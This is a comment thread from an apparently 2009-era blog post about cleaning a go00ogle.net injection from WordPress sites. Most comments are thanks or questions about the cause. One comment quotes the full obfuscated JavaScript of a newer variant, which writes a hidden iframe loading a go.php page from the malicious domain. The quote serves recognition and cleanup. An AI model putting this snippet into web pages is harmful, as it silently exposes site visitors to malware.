Comments on blog.ambor.com: How to remove a go00ogle.net infection from your W...

This damn google infection! I HATE it.

2011-03-20T01:23:54.390+11:00

This damn google infection! I HATE it.

Great resource now I won't need to totally rel...

2010-11-06T19:31:51.012+11:00

Great resource now I won't need to totally rely on my website backup to counter an infection

Google infection made me spend few hours removeing...

2010-09-24T20:06:28.422+10:00

Google infection made me spend few hours removeing it.

Thanks, really usefull. Redirect virus is a real p...

2010-09-22T19:55:14.575+10:00

Thanks, really usefull.
Redirect virus is a real pain in the a...

Great resource thanks

2010-08-29T00:08:23.224+10:00

Great resource thanks

great tutorial! this info should help others with ...

2009-10-24T20:54:53.667+11:00

great tutorial!
this info should help others with other infections

A guy named Tyler from longren.org wrote in to say...

2009-08-12T07:35:49.514+10:00

A guy named Tyler from longren.org wrote in to say that the malicious code has evolved slightly. His site was infected with the following code (which you'll notice is slightly different than what is above). I suppose this is version 2.0.

function advQuery(){
var adv="http://google.com/";abs=unescape("%69%66%72%61%6D%65");Track="?sid=1";get=unescape("%6E%65%74");
document.write("<"+abs+" src="+adv.substr(0,9)+unescape("\u0030\u0030")+adv.substr(9,5));
document.write(get+"/go.php"+Track+" style=display:none><"+"/"+abs+">");
};advQuery();

@Rett, the effect on visitors would depend complet...

2009-08-11T07:09:46.513+10:00

@Rett, the effect on visitors would depend completely on the software the visitor was using to access the site (e.g. operating system, browser, add-ons). I didn't do an analysis of what the script did, but on my Mac / Firefox setup, it didn't seem to do anything. Often these things are quite benign at the beginning until there are enough sites activated - then they are "switched on" to do something. This is a good strategy for the malware writers because you can build up the number of infected sites 'quietly' before activating them.

@Casey, He was using the latest WP (2.8.x). A few ...

2009-08-11T07:05:47.968+10:00

@Casey, He was using the latest WP (2.8.x). A few days after removing the script, the script came back. I then asked him to change all his passwords (FTP, mySQL, etc.) and it's been fine ever since.

Any idea what the script would do for visitors to ...

2009-08-11T00:59:11.754+10:00

Any idea what the script would do for visitors to an infected site? I have two wordpress sites that had this happen and I've followed your instructions to remove, just worried about what damage has already been done.

It would be good to know the version of WordPress ...

2009-07-29T07:08:36.816+10:00

It would be good to know the version of WordPress your friend was using and a list of plugins... or scripts. Doesn't chmodding the permissions of files appropriately stop such additions?

I try to use the strictest permissions possible... even if it makes work for me when I need to edit files...

@emquis, My friend only found out because a bunch ...

2009-07-27T17:04:55.873+10:00

@emquis, My friend only found out because a bunch of the visitors to his site were complaining about it. The issue is that if you leave the infection on there, at some point Google will pull you from their search database. You can see this has happened to others if you do a Google search for go00ogle.net.

@emqis, I think that the infection comes either fr...

2009-07-27T17:02:25.777+10:00

@emqis, I think that the infection comes either from a bad WP Plugin or someone getting access to the FTP server and inserting the script into a file. Another way in would be via a known security hole somewhere else in the stack (e.g. web server, etc.)

'm also receiving various attacks in wp sites....

2009-07-27T15:42:05.408+10:00

'm also receiving various attacks in wp sites.
which includes framer virus - detected by AVG8

they are adding some scripts on my wordpress blog index.php, wp-includes/filter.php and theme directory/index.php

Thanks for the informative tutorial! Do you have ...

2009-07-27T15:21:26.230+10:00

Thanks for the informative tutorial!

Do you have any idea how in the world the infection happened in the first place?

Also, did your friend's computer come up with any adware or malware infections?

I recently got a backdoor Trojan attachment to my SSH terminal application (I'm on a Windows machine) and I'm wondering if maybe that's how some other people have gotten these strange infections on their WP accounts.

For myself, AVG caught the Trojan before it could do anything, so I haven't come up with any nasties... yet.

Hopefully it stays that way!

Good one. I hope it won't attack mine.

2009-07-27T11:37:23.888+10:00

Good one. I hope it won't attack mine.